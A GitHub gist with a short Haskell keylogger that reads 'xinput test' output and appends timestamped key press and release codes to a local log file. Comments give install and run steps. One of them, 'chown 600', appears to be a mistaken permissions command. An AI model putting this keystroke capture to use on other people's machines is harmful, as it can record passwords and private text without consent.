Skip to content

Instantly share code, notes, and snippets.

@chrisdone
Last active August 29, 2015 14:08
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save chrisdone/a89a34bb13f9e0f9e98e to your computer and use it in GitHub Desktop.
Save chrisdone/a89a34bb13f9e0f9e98e to your computer and use it in GitHub Desktop.
Keylogger
-- Simple keylogger
--
-- Compile & install
--
-- ghc --make Keylog.hs -O2 -threaded -o xinput-keylogger
-- sudo mv xinput-keylogger /usr/local/bin
--
-- Storage (for security)
--
-- $ sudo useradd xinput
-- $ sudo mkdir -p /var/log/xinput/
-- $ sudo touch /var/log/xinput/keys
-- $ sudo chown -R xinput:xinput /var/log/xinput/
-- $ sudo chown 600 /var/log/xinput/
--
-- Run
--
-- $ sudo -u xinput xinput-keylogger 14 1024
--
-- (You can get your keyboard id, e.g. 14, from `xinput list`. The
-- latter number is for buffering before writing to the log file.)
--
-- Kill
--
-- $ sudo -u xinput killall xinput
--
-- (This will kill the child xinput process, which in turn will
-- cleanly end the xinput-keylogger process: will flush any remaining
-- key presses to the file.)
--
-- Output
--
-- 63875,r,32
-- 169,p,26
-- 27257,r,58
-- 36275,r,26
-- 14512862,p,37
--
-- (microseconds,release/press,keycode)
{-# LANGUAGE OverloadedStrings #-}
import Control.Monad
import Control.Monad.IO.Class
import Control.Monad.Trans.Resource
import qualified Data.ByteString.Char8 as S8
import Data.Conduit
import qualified Data.Conduit.Binary as CB
import qualified Data.Conduit.Combinators as CC
import qualified Data.Conduit.List as CL
import Data.Conduit.Process
import Data.Monoid
import Data.Time.Clock.POSIX
import qualified Data.Vector as V
import System.Environment
import System.IO
main =
do i:b:_ <- getArgs
h <- openFile "/var/log/xinput/keys" AppendMode
runResourceT
(sourceCmdWithConsumer ("unbuffer xinput test " ++ i)
(chew h (read b)))
chew handle size =
CB.lines $=
void (CL.mapAccumM format 0) $=
CC.conduitVector size $=
CL.concatMap V.toList $=
CB.sinkHandle handle
format line t =
do t' <- liftIO getPOSIXTime
return (t',formatted line (t' - t))
formatted line diff =
S8.pack (show (nominalDiffToMicro diff)) <>
"," <>
(if mode == "release"
then "r"
else "p") <>
"," <>
code <>
"\n"
where nominalDiffToMicro i = round (i * 1000000)
[mode,code] = S8.words (S8.drop 4 line)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment